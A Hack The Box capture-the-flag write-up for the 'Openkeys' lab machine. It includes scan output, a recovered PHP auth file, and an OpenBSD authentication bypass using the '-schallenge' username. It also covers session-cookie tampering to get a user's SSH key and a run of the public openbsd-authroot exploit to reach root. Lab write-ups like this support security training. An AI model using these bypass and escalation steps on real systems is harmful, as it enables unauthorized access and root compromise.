Openkeys - Hack The Box

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root@nidus:/git/htb/openkeys# nmap -Pn -n -sC -sV 10.10.10.199 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.1 (protocol 2.0) | ssh-hostkey: | 3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA) | 256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA) |_ 256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519) 80/tcp open http OpenBSD httpd |_http-title: Site doesn’t have a title (text/html).

DIRB: ==> DIRECTORY: http://10.10.10.199/css/ ==> DIRECTORY: http://10.10.10.199/fonts/ ==> DIRECTORY: http://10.10.10.199/images/ ==> DIRECTORY: http://10.10.10.199/includes/
- http://10.10.10.199/index.html (CODE:200|SIZE:96)
- http://10.10.10.199/index.php (CODE:200|SIZE:4837) ==> DIRECTORY: http://10.10.10.199/js/ ==> DIRECTORY: http://10.10.10.199/vendor/
NIKTO:
- Server: OpenBSD httpd
- Cookie PHPSESSID created without the httponly flag
- Multiple index files found: /index.php, /index.html
- OSVDB-3092: /includes/: This might be interesting…
Enumerating the webserver we find some interesting files right away.

http://10.10.10.199/includes/auth.php.swp

Download the swap-file and restor it by using ‘vim -r auth.php.swp’, save the file as auth.php (:w auth.php)

root@nidus:/git/htb/openkeys# curl http://10.10.10.199/includes/auth.php.swp --output auth.php.swp
root@nidus:/git/htb/openkeys# cat auth.php
  [..]
  $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
  system($cmd, $retcode);
  [..]
  function init_session()
  {
      $_SESSION["logged_in"] = True;
      $_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
      $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
      $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
      $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
      $_SESSION["username"] = $_REQUEST['username'];

From the first snippet of the code we see that username and passwords are verified using ‘../auth_helpers/check_auth’ In the second snippet we learn that the SESSION variable is controlled in the init-function, including username on the last line.

Lastly, running strings on the swap file gives us a user - Jennifer.

root@nidus:/git/htb/openkeys# strings auth.php.swp
  b0VIM 8.1
  jennifer
  openkeys.htb
  [..]

Download the check_auth program, and enumerate it. root@nidus:/git/htb/openkeys# curl http://10.10.10.199/auth_helpers/check_auth –output check_auth root@nidus:/git/htb/openkeys# file check_auth check_auth: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /usr/libexec/ld.so, for OpenBSD, not stripped

We could try to RE this ELF-file, however I’ll go with this as a last resort. As for now it is not needed.

With all enumerated information, lets start to look for exploits. Pretty quickly we find an article covering four big OpenBSD vulnerabilities:
- CVE-2019-19519 (Local privilege escalation)
- CVE-2019-19520 (Local privilege escalation)
- CVE-2019-19521 (Authentication Bypass)
- CVE-2019-19522 (Local privilege escalation)

CVE-2019-19521 tells us in short that we can bypass the auth by entering ‘-schallenge’ as username, and any password. Trying this on our login prompt is successful, we are greeted with the text “OpenSSH key not found for user -schallenge”

This is where I got stuck for a good while and had to turn to the forums for help. But as we could see before, the SESSION variable username can be controlled - and maybe tampered with in the cookie. Set the Name-filed to ‘username’ and Value-filed to ‘jennifer’.

Save the private key, login as Jennifer and grab user.txt.

root@nidus:/git/htb/openkeys# ssh jennifer@openkeys.htb -i jennifer_id-rsa Last login: Wed Jun 24 09:31:16 2020 from 10.10.14.2 OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system. Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well.

openkeys$ id uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel) openkeys$ cat user.txt 36ab21239a15c537bde90626891d2b10

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From our previous article, we also found three CVE’s for Local PrivEsc, CVE-2019-19519, CVE-2019-19520 and CVE-2019-19522. A quick google for the CVE’s we find a script called openbsd-authroot on github, download it and try it out.

openkeys$ vi openbsd-authroot openkeys$ chmod +x openbsd-authroot openkeys$ ./openbsd-authroot openbsd-authroot (CVE-2019-19520 / CVE-2019-19522) [*] checking system … [*] system supports S/Key authentication [*] id: uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel) [*] compiling … [*] running Xvfb … [*] testing for CVE-2019-19520 … _XSERVTransmkdir: ERROR: euid != 0,directory /tmp/.X11-unix will not be created. [+] success! we have auth group permissions

WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C).

[*] trying CVE-2019-19522 (S/Key) … Your password is: EGG LARD GROW HOG DRAG LAIN otp-md5 99 obsd91335 S/Key Password:

openkeys# id uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) openkeys# cat root.txt f3a553b1697050ae885e7c02dbfc6efa

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OpenBSD Auth Bypass https://www.secpod.com/blog/openbsd-authentication-bypass-and-local-privilege-escalation-vulnerabilities/ https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt

openbsd-authroot PrivEsc https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19520/openbsd-authroot